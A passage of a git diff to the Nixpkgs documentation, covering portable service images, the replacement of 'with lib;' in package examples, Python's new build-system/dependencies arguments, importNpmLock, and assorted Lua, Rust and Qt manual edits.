case). -Otherwise `systemd-portabled` will ignore them. - -::: {.note} -The `.raw` file extension of the image is required by the portable services specification. +After building the package, the generated image can be loaded into a system through {manpage}`portablectl(1)`: + +```shell +$ nix-build +(some output removed for clarity) +/nix/store/8c20z1vh7z8w8dwagl8w87b45dn5k6iq-hello-img-2.12.1 + +$ portablectl attach /nix/store/8c20z1vh7z8w8dwagl8w87b45dn5k6iq-hello-img-2.12.1/hello_2.12.1.raw +Created directory /etc/systemd/system.attached. +Created directory /etc/systemd/system.attached/hello.service.d. +Written /etc/systemd/system.attached/hello.service.d/20-portable.conf. +Created symlink /etc/systemd/system.attached/hello.service.d/10-profile.conf → /usr/lib/systemd/portable/profile/default/service.conf. +Copied /etc/systemd/system.attached/hello.service. +Created symlink /etc/portables/hello_2.12.1.raw → /nix/store/8c20z1vh7z8w8dwagl8w87b45dn5k6iq-hello-img-2.12.1/hello_2.12.1.raw. + +$ systemctl start hello +$ journalctl -u hello +Feb 28 22:39:16 hostname systemd[1]: Starting Hello world service... +Feb 28 22:39:16 hostname hello[102887]: Hello, world! +Feb 28 22:39:16 hostname systemd[1]: hello.service: Deactivated successfully. +Feb 28 22:39:16 hostname systemd[1]: Finished Hello world service. + +$ portablectl detach hello_2.12.1 +Removed /etc/systemd/system.attached/hello.service. +Removed /etc/systemd/system.attached/hello.service.d/10-profile.conf. +Removed /etc/systemd/system.attached/hello.service.d/20-portable.conf. +Removed /etc/systemd/system.attached/hello.service.d. +Removed /etc/portables/hello_2.12.1.raw. +Removed /etc/systemd/system.attached. +``` ::: -Some other options available are: -- `description`, `homepage` - - Are added to the `/etc/os-release` in the image and are shown by the portable services tooling. - Default to empty values, not added to os-release. -- `symlinks` - - A list of attribute sets {object, symlink}. Symlinks will be created in the root filesystem of the image to - objects in the Nix store. Defaults to an empty list. -- `contents` +:::{.example #ex-portableService-symlinks} +# Specifying symlinks when building a Portable Service image - A list of additional derivations to be included in the image Nix store, as-is. Defaults to an empty list. -- `squashfsTools` +Some services may expect files or directories to be available globally. +An example is a service which expects all trusted SSL certificates to exist in a specific location by default. - Defaults to `pkgs.squashfsTools`, allows you to override the package that provides `mksquashfs`. -- `squash-compression`, `squash-block-size` +To make things available globally, you must specify the `symlinks` attribute when using `portableService`. +The following package builds on the package from [](#ex-portableService-hello) to make `/etc/ssl` available globally (this is only for illustrative purposes, because `hello` doesn't use `/etc/ssl`). - Options to `mksquashfs`. Default to `"xz -Xdict-size 100%"` and `"1M"` respectively. - -A typical usage of `symlinks` would be: ```nix +{ lib, writeText, portableService, hello, cacert }: +let + hello-service = writeText "hello.service" '' + [Unit] + Description=Hello world service + + [Service] + Type=oneshot + ExecStart=${lib.getExe hello} + ''; +in +portableService { + pname = "hello"; + inherit (hello) version; + units = [ hello-service ]; symlinks = [ - { object = "${pkgs.cacert}/etc/ssl"; symlink = "/etc/ssl"; } - { object = "${pkgs.bash}/bin/bash"; symlink = "/bin/sh"; } - { object = "${pkgs.php}/bin/php"; symlink = "/usr/bin/php"; } + { object = "${cacert}/etc/ssl"; symlink = "/etc/ssl"; } ]; +} ``` -to create these symlinks for legacy applications that assume them existing globally. - -Once the image is created, and deployed on a host in `/var/lib/portables/`, you can attach the image and run the service. As root run: -```console -portablectl attach demo_1.0.raw -systemctl enable --now demo.socket -systemctl enable --now demo.service -``` -::: {.note} -See the [man page](https://www.freedesktop.org/software/systemd/man/portablectl.html) of `portablectl` for more info on its usage. ::: diff --git a/doc/functions/generators.section.md b/doc/functions/generators.section.md index 8b3ae6843a227..dbfc302a3abf7 100644 --- a/doc/functions/generators.section.md +++ b/doc/functions/generators.section.md @@ -6,8 +6,9 @@ All generators follow a similar call interface: `generatorName configFunctions d Generators can be fine-tuned to produce exactly the file format required by your application/service. One example is an INI-file format which uses `: ` as separator, the strings `"yes"`/`"no"` as boolean values and requires all string values to be quoted: ```nix -with lib; let + inherit (lib) generators isString; + customToINI = generators.toINI { # specifies how to format a key/value pair mkKeyValue = generators.mkKeyValueDefault { diff --git a/doc/languages-frameworks/coq.section.md b/doc/languages-frameworks/coq.section.md index 6ca1997083776..db3724773345e 100644 --- a/doc/languages-frameworks/coq.section.md +++ b/doc/languages-frameworks/coq.section.md @@ -55,7 +55,13 @@ Here is a simple package example. It is a pure Coq library, thus it depends on C ```nix { lib, mkCoqDerivation, version ? null , coq, mathcomp, mathcomp-finmap, mathcomp-bigenough }: -with lib; mkCoqDerivation { + +let + inherit (lib) licenses maintainers switch; + inherit (lib.versions) range; +in + +mkCoqDerivation { /* namePrefix leads to e.g. `name = coq8.11-mathcomp1.11-multinomials-1.5.2` */ namePrefix = [ "coq" "mathcomp" ]; pname = "multinomials"; diff --git a/doc/languages-frameworks/dotnet.section.md b/doc/languages-frameworks/dotnet.section.md index 7987aa41636cf..7466c8cdc2287 100644 --- a/doc/languages-frameworks/dotnet.section.md +++ b/doc/languages-frameworks/dotnet.section.md @@ -210,11 +210,11 @@ buildDotnetGlobalTool { nugetSha256 = "sha256-ZG2HFyKYhVNVYd2kRlkbAjZJq88OADe3yjxmLuxXDUo="; - meta = with lib; { + meta = { homepage = "https://cmd.petabridge.com/index.html"; changelog = "https://cmd.petabridge.com/articles/RELEASE_NOTES.html"; - license = licenses.unfree; - platforms = platforms.linux; + license = lib.licenses.unfree; + platforms = lib.platforms.linux; }; } ``` diff --git a/doc/languages-frameworks/go.section.md b/doc/languages-frameworks/go.section.md index 7f151c76129f2..369eb88d331fa 100644 --- a/doc/languages-frameworks/go.section.md +++ b/doc/languages-frameworks/go.section.md @@ -51,11 +51,11 @@ pet = buildGoModule rec { vendorHash = "sha256-ciBIR+a1oaYH+H1PcC8cD8ncfJczk1IiJ8iYNM+R6aA="; - meta = with lib; { + meta = { description = "Simple command-line snippet manager, written in Go"; homepage = "https://github.com/knqyf263/pet"; - license = licenses.mit; - maintainers = with maintainers; [ kalbasit ]; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ kalbasit ]; }; } ``` diff --git a/doc/languages-frameworks/idris.section.md b/doc/languages-frameworks/idris.section.md index 447a3e7bb8a35..e30a849dd4564 100644 --- a/doc/languages-frameworks/idris.section.md +++ b/doc/languages-frameworks/idris.section.md @@ -93,11 +93,11 @@ build-idris-package { hash = "sha256-h28F9EEPuvab6zrfeE+0k1XGQJGwINnsJEG8yjWIl7w="; }; - meta = with lib; { + meta = { description = "Idris YAML lib"; homepage = "https://github.com/Heather/Idris.Yaml"; - license = licenses.mit; - maintainers = [ maintainers.brainrape ]; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.brainrape ]; }; } ``` diff --git a/doc/languages-frameworks/javascript.section.md b/doc/languages-frameworks/javascript.section.md index 5d2a6413e104a..c148070ad244f 100644 --- a/doc/languages-frameworks/javascript.section.md +++ b/doc/languages-frameworks/javascript.section.md @@ -184,11 +184,11 @@ buildNpmPackage rec { NODE_OPTIONS = "--openssl-legacy-provider"; - meta = with lib; { + meta = { description = "A modern web UI for various torrent clients with a Node.js backend and React frontend"; homepage = "https://flood.js.org"; - license = licenses.gpl3Only; - maintainers = with maintainers; [ winter ]; + license = lib.licenses.gpl3Only; + maintainers = with lib.maintainers; [ winter ]; }; } ``` @@ -233,6 +233,37 @@ sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= It returns a derivation with all `package-lock.json` dependencies downloaded into `$out/`, usable as an npm cache. +#### importNpmLock {#javascript-buildNpmPackage-importNpmLock} + +`importNpmLock` is a Nix function that requires the following optional arguments: + +- `npmRoot`: Path to package directory containing the source tree +- `package`: Parsed contents of `package.json` +- `packageLock`: Parsed contents of `package-lock.json` +- `pname`: Package name +- `version`: Package version + +It returns a derivation with a patched `package.json` & `package-lock.json` with all dependencies resolved to Nix store paths. + +This function is analogous to using `fetchNpmDeps`, but instead of specifying `hash` it uses metadata from `package.json` & `package-lock.json`. + +Note that `npmHooks.npmConfigHook` cannot be used with `importNpmLock`. You will instead need to use `importNpmLock.npmConfigHook`: + +```nix +{ buildNpmPackage, importNpmLock }: + +buildNpmPackage { + pname = "hello"; + version = "0.1.0"; + + npmDeps = importNpmLock { + npmRoot = ./.; + }; + + npmConfigHook = importNpmLock.npmConfigHook; +} +``` + ### corepack {#javascript-corepack} This package puts the corepack wrappers for pnpm and yarn in your PATH, and they will honor the `packageManager` setting in the `package.json`. diff --git a/doc/languages-frameworks/lua.section.md b/doc/languages-frameworks/lua.section.md index 310ea88a86d55..a6577a56a436c 100644 --- a/doc/languages-frameworks/lua.section.md +++ b/doc/languages-frameworks/lua.section.md @@ -1,8 +1,8 @@ -# User’s Guide to Lua Infrastructure {#users-guide-to-lua-infrastructure} +# Lua {#lua} -## Using Lua {#using-lua} +## Using Lua {#lua-userguide} -### Overview of Lua {#overview-of-lua} +### Overview of Lua {#lua-overview} Several versions of the Lua interpreter are available: luajit, lua 5.1, 5.2, 5.3. The attribute `lua` refers to the default interpreter, it is also possible to refer to specific versions, e.g. `lua5_2` refers to Lua 5.2. @@ -118,7 +118,7 @@ Again, it is possible to launch the interpreter from the shell. The Lua interpreter has the attribute `pkgs` which contains all Lua libraries for that specific interpreter. -## Developing with Lua {#developing-with-lua} +## Developing with lua {#lua-developing} Now that you know how to get a working Lua environment with Nix, it is time to go forward and start actually developing with Lua. There are two ways to @@ -193,10 +193,10 @@ luaposix = buildLuarocksPackage { disabled = (luaOlder "5.1") || (luaAtLeast "5.4"); propagatedBuildInputs = [ bit32 lua std_normalize ]; - meta = with lib; { + meta = { homepage = "https://github.com/luaposix/luaposix/"; description = "Lua bindings for POSIX"; - maintainers = with maintainers; [ vyp lblasc ]; + maintainers = with lib.maintainers; [ vyp lblasc ]; license.fullName = "MIT/X11"; }; }; @@ -215,6 +215,11 @@ install the package environment variable and add dependent libraries to script's `LUA_PATH` and `LUA_CPATH`. +It accepts as arguments: + +* 'luarocksConfig': a nix value that directly maps to the luarocks config used during + the installation + By default `meta.platforms` is set to the same value as the interpreter unless overridden otherwise. #### `buildLuaApplication` function {#buildluaapplication-function} @@ -229,30 +234,20 @@ The `lua.withPackages` takes a function as an argument that is passed the set of Using the `withPackages` function, the previous example for the luafilesystem environment can be written like this: ```nix -with import <nixpkgs> {}; - lua.withPackages (ps: [ps.luafilesystem]) ``` `withPackages` passes the correct package set for the specific interpreter version as an argument to the function. In the above example, `ps` equals `luaPackages`. -But you can also easily switch to using `lua5_2`: +But you can also easily switch to using `lua5_1`: ```nix -with import <nixpkgs> {}; - -lua5_2.withPackages (ps: [ps.lua]) +lua5_1.withPackages (ps: [ps.lua]) ``` -Now, `ps` is set to `lua52Packages`, matching the version of the interpreter. - -### Possible Todos {#possible-todos} - -* export/use version specific variables such as `LUA_PATH_5_2`/`LUAROCKS_CONFIG_5_2` -* let luarocks check for dependencies via exporting the different rocktrees in temporary config +Now, `ps` is set to `lua5_1.pkgs`, matching the version of the interpreter. -### Lua Contributing guidelines {#lua-contributing-guidelines} +### Lua Contributing guidelines {#lua-contributing} Following rules should be respected: -* Make sure libraries build for all Lua interpreters. * Commit names of Lua libraries should reflect that they are Lua libraries, so write for example `luaPackages.luafilesystem: 1.11 -> 1.12`. diff --git a/doc/languages-frameworks/maven.section.md b/doc/languages-frameworks/maven.section.md index b86733a758984..2ec419e010eb7 100644 --- a/doc/languages-frameworks/maven.section.md +++ b/doc/languages-frameworks/maven.section.md @@ -34,11 +34,11 @@ maven.buildMavenPackage rec { --add-flags "-jar $out/share/jd-cli/jd-cli.jar" ''; - meta = with lib; { + meta = { description = "Simple command line wrapper around JD Core Java Decompiler project"; homepage = "https://github.com/intoolswetrust/jd-cli"; - license = licenses.gpl3Plus; - maintainers = with maintainers; [ majiir ]; + license = lib.licenses.gpl3Plus; + maintainers = with lib.maintainers; [ majiir ]; }; }: ``` diff --git a/doc/languages-frameworks/ocaml.section.md b/doc/languages-frameworks/ocaml.section.md index cbdc64bf5dd3d..4f3b6e0264f7e 100644 --- a/doc/languages-frameworks/ocaml.section.md +++ b/doc/languages-frameworks/ocaml.section.md @@ -110,11 +110,11 @@ buildDunePackage rec { hash = "sha256-d5/3KUBAWRj8tntr4RkJ74KWW7wvn/B/m1nx0npnzyc="; }; - meta = with lib; { + meta = { homepage = "https://github.com/flowtype/ocaml-wtf8"; description = "WTF-8 is a superset of UTF-8 that allows unpaired surrogates."; - license = licenses.mit; - maintainers = [ maintainers.eqyiel ]; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.eqyiel ]; }; } ``` diff --git a/doc/languages-frameworks/python.section.md b/doc/languages-frameworks/python.section.md index 0849aacdf1668..fa7f3eddf72c6 100644 --- a/doc/languages-frameworks/python.section.md +++ b/doc/languages-frameworks/python.section.md @@ -7,7 +7,6 @@ | Package | Aliases | Interpreter | |------------|-----------------|-------------| | python27 | python2, python | CPython 2.7 | -| python38 | | CPython 3.8 | | python39 | | CPython 3.9 | | python310 | | CPython 3.10 | | python311 | python3 | CPython 3.11 | @@ -60,7 +59,6 @@ sets are * `pkgs.python27Packages` * `pkgs.python3Packages` -* `pkgs.python38Packages` * `pkgs.python39Packages` * `pkgs.python310Packages` * `pkgs.python311Packages` @@ -116,11 +114,11 @@ buildPythonPackage rec { rm testing/test_argcomplete.py ''; - nativeBuildInputs = [ + build-system = [ setuptools-scm ]; - propagatedBuildInputs = [ + dependencies = [ attrs py setuptools @@ -132,12 +130,12 @@ buildPythonPackage rec { hypothesis ]; - meta = with lib; { + meta = { changelog = "https://github.com/pytest-dev/pytest/releases/tag/${version}"; description = "Framework for writing tests"; homepage = "https://github.com/pytest-dev/pytest"; - license = licenses.mit; - maintainers = with maintainers; [ domenkozar lovek323 madjar lsix ]; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ domenkozar lovek323 madjar lsix ]; }; } ``` @@ -172,10 +170,10 @@ following are specific to `buildPythonPackage`: variable in wrapped programs. * `pyproject`: Whether the pyproject format should be used. When set to `true`, `pypaBuildHook` will be used, and you can add the required build dependencies - from `build-system.requires` to `nativeBuildInputs`. Note that the pyproject + from `build-system.requires` to `build-system`. Note that the pyproject format falls back to using `setuptools`, so you can use `pyproject = true` even if the package only has a `setup.py`. When set to `false`, you can - use the existing [hooks](#setup-hooks0 or provide your own logic to build the + use the existing [hooks](#setup-hooks) or provide your own logic to build the package. This can be useful for packages that don't support the pyproject format. When unset, the legacy `setuptools` hooks are used for backwards compatibility. @@ -206,17 +204,22 @@ build inputs (see "Specifying dependencies"). The following are of special interest for Python packages, either because these are primarily used, or because their behaviour is different: -* `nativeBuildInputs ? []`: Build-time only dependencies. Typically executables - as well as the items listed in `setup_requires`. +* `nativeBuildInputs ? []`: Build-time only dependencies. Typically executables. +* `build-system ? []`: Build-time only Python dependencies. Items listed in `build-system.requires`/`setup_requires`. * `buildInputs ? []`: Build and/or run-time dependencies that need to be compiled for the host machine. Typically non-Python libraries which are being linked. * `nativeCheckInputs ? []`: Dependencies needed for running the [`checkPhase`](#ssec-check-phase). These are added to [`nativeBuildInputs`](#var-stdenv-nativeBuildInputs) when [`doCheck = true`](#var-stdenv-doCheck). Items listed in `tests_require` go here. -* `propagatedBuildInputs ? []`: Aside from propagating dependencies, +* `dependencies ? []`: Aside from propagating dependencies, `buildPythonPackage` also injects code into and wraps executables with the paths included in this list. Items listed in `install_requires` go here. +* `optional-dependencies ? { }`: Optional feature flagged dependencies. Items listed in `extras_requires` go here. + +Aside from propagating dependencies, + `buildPythonPackage` also injects code into and wraps executables with the + paths included in this list. Items listed in `extras_requires` go here. ##### Overriding Python packages {#overriding-python-packages} @@ -299,16 +302,17 @@ python3Packages.buildPythonApplication rec { hash = "sha256-Pe229rT0aHwA98s+nTHQMEFKZPo/yw6sot8MivFDvAw="; }; - nativeBuildInputs = with python3Packages; [ + build-system = with python3Packages; [ setuptools + wheel ]; - propagatedBuildInputs = with python3Packages; [ + dependencies = with python3Packages; [ tornado python-daemon ]; - meta = with lib; { + meta = { # ... }; } @@ -462,14 +466,14 @@ are used in [`buildPythonPackage`](#buildpythonpackage-function). - `eggBuildHook` to skip building for eggs. - `eggInstallHook` to install eggs. - `pipBuildHook` to build a wheel using `pip` and PEP 517. Note a build system - (e.g. `setuptools` or `flit`) should still be added as `nativeBuildInput`. + (e.g. `setuptools` or `flit`) should still be added as `build-system`. - `pypaBuildHook` to build a wheel using [`pypa/build`](https://pypa-build.readthedocs.io/en/latest/index.html) and PEP 517/518. Note a build system (e.g. `setuptools` or `flit`) should still - be added as `nativeBuildInput`. + be added as `build-system`. - `pipInstallHook` to install wheels. - `pytestCheckHook` to run tests with `pytest`. See [example usage](#using-pytestcheckhook). -- `pythonCatchConflictsHook` to check whether a Python package is not already existing. +- `pythonCatchConflictsHook` to fail if the package depends on two different versions of the same dependency. - `pythonImportsCheckHook` to check whether importing the listed modules works. - `pythonRelaxDepsHook` will relax Python dependencies restrictions for the package. See [example usage](#using-pythonrelaxdepshook). @@ -881,7 +885,7 @@ buildPythonPackage rec { hash = "sha256-CP3V73yWSArRHBLUct4hrNMjWZlvaaUlkpm1QP66RWA="; }; - nativeBuildInputs = [ + build-system = [ setuptools wheel ]; @@ -895,12 +899,12 @@ buildPythonPackage rec { "toolz.dicttoolz" ]; - meta = with lib; { + meta = { changelog = "https://github.com/pytoolz/toolz/releases/tag/${version}"; homepage = "https://github.com/pytoolz/toolz"; description = "List processing tools and functional utilities"; - license = licenses.bsd3; - maintainers = with maintainers; [ fridh ]; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ fridh ]; }; } ``` @@ -941,7 +945,7 @@ with import <nixpkgs> {}; hash = "sha256-CP3V73yWSArRHBLUct4hrNMjWZlvaaUlkpm1QP66RWA="; }; - nativeBuildInputs = [ + build-system = [ python311.pkgs.setuptools python311.pkgs.wheel ]; @@ -977,13 +981,15 @@ that we introduced with the `let` expression. #### Handling dependencies {#handling-dependencies} -Our example, `toolz`, does not have any dependencies on other Python packages or -system libraries. According to the manual, [`buildPythonPackage`](#buildpythonpackage-function) uses the -arguments [`buildInputs`](#var-stdenv-buildInputs) and [`propagatedBuildInputs`](#var-stdenv-propagatedBuildInputs) to specify dependencies. If -something is exclusively a build-time dependency, then the dependency should be -included in [`buildInputs`](#var-stdenv-buildInputs), but if it is (also) a runtime dependency, then it -should be added to [`propagatedBuildInputs`](#var-stdenv-propagatedBuildInputs). Test dependencies are considered -build-time dependencies and passed to [`nativeCheckInputs`](#var-stdenv-nativeCheckInputs). +Our example, `toolz`, does not have any dependencies on other Python packages or system libraries. +[`buildPythonPackage`](#buildpythonpackage-function) uses the the following arguments in the following circumstances: + +- `dependencies` - For Python runtime dependencies. +- `build-system` - For Python build-time requirements. +- [`buildInputs`](#var-stdenv-buildInputs) - For non-Python build-time requirements. +- [`nativeCheckInputs`](#var-stdenv-nativeCheckInputs) - For test dependencies + +Dependencies can belong to multiple arguments, for example if something is both a build time requirement & a runtime dependency. The following example shows which arguments are given to [`buildPythonPackage`](#buildpythonpackage-function) in order to build [`datashape`](https://github.com/blaze/datashape). @@ -1013,12 +1019,12 @@ buildPythonPackage rec { hash = "sha256-FLLvdm1MllKrgTGC6Gb0k0deZeVYvtCCLji/B7uhong="; }; - nativeBuildInputs = [ + build-system = [ setuptools wheel ]; - propagatedBuildInputs = [ + dependencies = [ multipledispatch numpy python-dateutil @@ -1028,12 +1034,12 @@ buildPythonPackage rec { pytest ]; - meta = with lib; { + meta = { changelog = "https://github.com/blaze/datashape/releases/tag/${version}"; homepage = "https://github.com/ContinuumIO/datashape"; description = "A data description language"; - license = licenses.bsd2; - maintainers = with maintainers; [ fridh ]; + license = lib.licenses.bsd2; + maintainers = with lib.maintainers; [ fridh ]; }; } ``` @@ -1041,7 +1047,7 @@ buildPythonPackage rec { We can see several runtime dependencies, `numpy`, `multipledispatch`, and `python-dateutil`. Furthermore, we have [`nativeCheckInputs`](#var-stdenv-nativeCheckInputs) with `pytest`. `pytest` is a test runner and is only used during the [`checkPhase`](#ssec-check-phase) and is -therefore not added to [`propagatedBuildInputs`](#var-stdenv-propagatedBuildInputs). +therefore not added to `dependencies`. In the previous case we had only dependencies on other Python packages to consider. Occasionally you have also system libraries to consider. E.g., `lxml` provides @@ -1068,7 +1074,7 @@ buildPythonPackage rec { hash = "sha256-s9NiusRxFydHzaNRMjjxFcvWxfi45jGb9ql6eJJyQJk="; }; - nativeBuildInputs = [ + build-system = [ setuptools wheel ]; @@ -1078,12 +1084,12 @@ buildPythonPackage rec { libxslt ]; - meta = with lib; { + meta = { changelog = "https://github.com/lxml/lxml/releases/tag/lxml-${version}"; description = "Pythonic binding for the libxml2 and libxslt libraries"; homepage = "https://lxml.de"; - license = licenses.bsd3; - maintainers = with maintainers; [ sjourdois ]; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ sjourdois ]; }; } ``` @@ -1125,7 +1131,7 @@ buildPythonPackage rec { hash = "sha256-9ru2r6kwhUCaskiFoaPNuJCfCVoUL01J40byvRt4kHQ="; }; - nativeBuildInputs = [ + build-system = [ setuptools wheel ]; @@ -1136,7 +1142,7 @@ buildPythonPackage rec { fftwLongDouble ]; - propagatedBuildInputs = [ + dependencies = [ numpy scipy ]; @@ -1149,12 +1155,12 @@ buildPythonPackage rec { # Tests cannot import pyfftw. pyfftw works fine though. doCheck = false; - meta = with lib; { + meta = { changelog = "https://github.com/pyFFTW/pyFFTW/releases/tag/v${version}"; description = "A pythonic wrapper around FFTW, the FFT library, presenting a unified interface for all the supported transforms"; homepage = "http://hgomersall.github.com/pyFFTW"; - license = with licenses; [ bsd2 bsd3 ]; - maintainers = with maintainers; [ fridh ]; + license = with lib.licenses; [ bsd2 bsd3 ]; + maintainers = with lib.maintainers; [ fridh ]; }; } ``` @@ -1459,9 +1465,7 @@ mode is activated. In the following example, we create a simple environment that has a Python 3.11 version of our package in it, as well as its dependencies and other packages we -like to have in the environment, all specified with [`propagatedBuildInputs`](#var-stdenv-propagatedBuildInputs). -Indeed, we can just add any package we like to have in our environment to -[`propagatedBuildInputs`](#var-stdenv-propagatedBuildInputs). +like to have in the environment, all specified with `dependencies`. ```nix with import <nixpkgs> {}; @@ -1470,9 +1474,11 @@ with python311Packages; buildPythonPackage rec { name = "mypackage"; src = ./path/to/package/source; - propagatedBuildInputs = [ + dependencies = [ pytest numpy + ]; + propagatedBuildInputs = [ pkgs.libsndfile ]; } @@ -1519,17 +1525,17 @@ buildPythonPackage rec { hash = "sha256-CP3V73yWSArRHBLUct4hrNMjWZlvaaUlkpm1QP66RWA="; }; - nativeBuildInputs = [ + build-system = [ setuptools wheel ]; - meta = with lib; { + meta = { changelog = "https://github.com/pytoolz/toolz/releases/tag/${version}"; homepage = "https://github.com/pytoolz/toolz/"; description = "List processing tools and functional utilities"; - license = licenses.bsd3; - maintainers = with maintainers; [ fridh ]; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ fridh ]; }; } ``` @@ -1903,8 +1909,8 @@ configure alternatives](#sec-overlays-alternatives-blas-lapack)". In a `setup.py` or `setup.cfg` it is common to declare dependencies: -* `setup_requires` corresponds to [`nativeBuildInputs`](#var-stdenv-nativeBuildInputs) -* `install_requires` corresponds to [`propagatedBuildInputs`](#var-stdenv-propagatedBuildInputs) +* `setup_requires` corresponds to `build-system` +* `install_requires` corresponds to `dependencies` * `tests_require` corresponds to [`nativeCheckInputs`](#var-stdenv-nativeCheckInputs) ### How to enable interpreter optimizations? {#optimizations} @@ -1928,12 +1934,10 @@ in mypython Some packages define optional dependencies for additional features. With `setuptools` this is called `extras_require` and `flit` calls it -`extras-require`, while PEP 621 calls these `optional-dependencies`. A -method for supporting this is by declaring the extras of a package in its -`passthru`, e.g. in case of the package `dask` +`extras-require`, while PEP 621 calls these `optional-dependencies`. ```nix -passthru.optional-dependencies = { +optional-dependencies = { complete = [ distributed ]; }; ``` @@ -1941,11 +1945,13 @@ passthru.optional-dependencies = { and letting the package requiring the extra add the list to its dependencies ```nix -propagatedBuildInputs = [ +dependencies = [ ... ] ++ dask.optional-dependencies.complete; ``` +This method is using `passthru`, meaning that changing `optional-dependencies` of a package won't cause it to rebuild. + Note this method is preferred over adding parameters to builders, as that can result in packages depending on different variants and thereby causing collisions. diff --git a/doc/languages-frameworks/qt.section.md b/doc/languages-frameworks/qt.section.md index 1edceb53cfe47..dcec4b6fff424 100644 --- a/doc/languages-frameworks/qt.section.md +++ b/doc/languages-frameworks/qt.section.md @@ -12,7 +12,7 @@ an extra indirection. ## Nix expression for a Qt package (default.nix) {#qt-default-nix} ```nix -{ stdenv, lib, qt6, wrapQtAppsHook }: +{ stdenv, qt6 }: stdenv.mkDerivation { pname = "myapp"; @@ -23,10 +23,12 @@ stdenv.mkDerivation { } ``` +The same goes for Qt 5 where libraries and tools are under `libsForQt5`. + Any Qt package should include `wrapQtAppsHook` in `nativeBuildInputs`, or explicitly set `dontWrapQtApps` to bypass generating the wrappers. ::: {.note} -Graphical Linux applications should also include `qtwayland` in `buildInputs`, to ensure the Wayland platform plugin is available. +Qt 6 graphical applications should also include `qtwayland` in `buildInputs` on Linux (but not on platforms e.g. Darwin, where `qtwayland` is not available), to ensure the Wayland platform plugin is available. This may become default in the future, see [NixOS/nixpkgs#269674](https://github.com/NixOS/nixpkgs/pull/269674). ::: diff --git a/doc/languages-frameworks/rust.section.md b/doc/languages-frameworks/rust.section.md index 72bade25a9fbb..75e57a8bb5746 100644 --- a/doc/languages-frameworks/rust.section.md +++ b/doc/languages-frameworks/rust.section.md @@ -35,20 +35,20 @@ rustPlatform.buildRustPackage rec { cargoHash = "sha256-jtBw4ahSl88L0iuCXxQgZVm1EcboWRJMNtjxLVTtzts="; - meta = with lib; { + meta = { description = "A fast line-oriented regex search tool, similar to ag and ack"; homepage = "https://github.com/BurntSushi/ripgrep"; - license = licenses.unlicense; + license = lib.licenses.unlicense; maintainers = []; }; } ``` -`buildRustPackage` requires either the `cargoHash` or the `cargoSha256` -attribute which is computed over all crate sources of this package. -`cargoSha256` is used for traditional Nix SHA-256 hashes. `cargoHash` should -instead be used for [SRI](https://www.w3.org/TR/SRI/) hashes and should be -preferred. For example: +`buildRustPackage` requires either a `cargoHash` (preferred) or a +`cargoSha256` attribute, computed over all crate sources of this package. +`cargoHash` supports [SRI](https://www.w3.org/TR/SRI/) hashes and should be +preferred over `cargoSha256` which was used for traditional Nix SHA-256 hashes. +For example: ```nix cargoHash = "sha256-l1vL2ZdtDRxSGvP0X/l3nMw8+6WF67KPutJEzUROjg8="; @@ -64,16 +64,16 @@ Both types of hashes are permitted when contributing to nixpkgs. The Cargo hash is obtained by inserting a fake checksum into the expression and building the package once. The correct checksum can then be taken from the failed build. A fake hash can be used for -`cargoSha256` as follows: +`cargoHash` as follows: ```nix - cargoSha256 = lib.fakeSha256; + cargoHash = lib.fakeHash; ``` -For `cargoHash` you can use: +For `cargoSha256` you can use: ```nix - cargoHash = lib.fakeHash; + cargoSha256 = lib.fakeSha256; ``` Per the instructions in the [Cargo Book](https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html) @@ -90,7 +90,7 @@ directory into a tar.gz archive. The tarball with vendored dependencies contains a directory with the package's `name`, which is normally composed of `pname` and `version`. This means that the vendored dependencies hash -(`cargoSha256`/`cargoHash`) is dependent on the package name and +(`cargoHash`/`cargoSha256`) is dependent on the package name and version. The `cargoDepsName` attribute can be used to use another name for the directory of vendored dependencies. For example, the hash can be made invariant to the version by setting `cargoDepsName` to @@ -115,7 +115,7 @@ rustPlatform.buildRustPackage rec { ### Importing a `Cargo.lock` file {#importing-a-cargo.lock-file} -Using `cargoSha256` or `cargoHash` is tedious when using +Using a vendored hash (`cargoHash`/`cargoSha256`) is tedious when using `buildRustPackage` within a project, since it requires that the hash is updated after every change to `Cargo.lock`. Therefore, `buildRustPackage` also supports vendoring dependencies directly from @@ -903,8 +903,8 @@ with import <nixpkgs> }; let rustPlatform = makeRustPlatform { - cargo = rust-bin.stable.latest.minimal; - rustc = rust-bin.stable.latest.minimal; + cargo = rust-bin.selectLatestNightlyWith (toolchain: toolchain.default); + rustc = rust-bin.selectLatestNightlyWith (toolchain: toolchain.default); }; in @@ -923,11 +923,11 @@ rustPlatform.buildRustPackage rec { doCheck = false; - meta = with lib; { + meta = { description = "A fast line-oriented regex search tool, similar to ag and ack"; homepage = "https://github.com/BurntSushi/ripgrep"; - license = with licenses; [ mit unlicense ]; - maintainers = with maintainers; []; + license = with lib.licenses; [ mit unlicense ]; + maintainers = with lib.maintainers; []; }; } ``` diff --git a/doc/languages-frameworks/texlive.section.md b/doc/languages-frameworks/texlive.section.md index 01b59f6f34a93..b6fb1099a4a43 100644 --- a/doc/languages-frameworks/texlive.section.md +++ b/doc/languages-frameworks/texlive.section.md @@ -181,11 +181,11 @@ let runHook postInstall ''; - meta = with lib; { + meta = { description = "A LaTeX2e class for overhead transparencies"; - license = licenses.unfreeRedistributable; - maintainers = with maintainers; [ veprbl ]; - platforms = platforms.all; + license = lib.licenses.unfreeRedistributable; + maintainers = with lib.maintainers; [ veprbl ]; + platforms = lib.platforms.all; }; }; diff --git a/doc/manpage-urls.json b/doc/manpage-urls.json index 5739a59d94205..2cc03af4360f0 100644 --- a/doc/manpage-urls.json +++ b/doc/manpage-urls.json @@ -318,5 +318,7 @@ "passwd(5)": "https://man.archlinux.org/man/passwd.5", "group(5)": "https://man.archlinux.org/man/group.5", "login.defs(5)": "https://man.archlinux.org/man/login.defs.5", - "nix-shell(1)": "https://nixos.org/manual/nix/stable/command-ref/nix-shell.html" + "unshare(1)": "https://man.archlinux.org/man/unshare.1.en", + "nix-shell(1)": "https://nixos.org/manual/nix/stable/command-ref/nix-shell.html", + "mksquashfs(1)": "https://man.archlinux.org/man/extra/squashfs-tools/mksquashfs.1.en" } diff 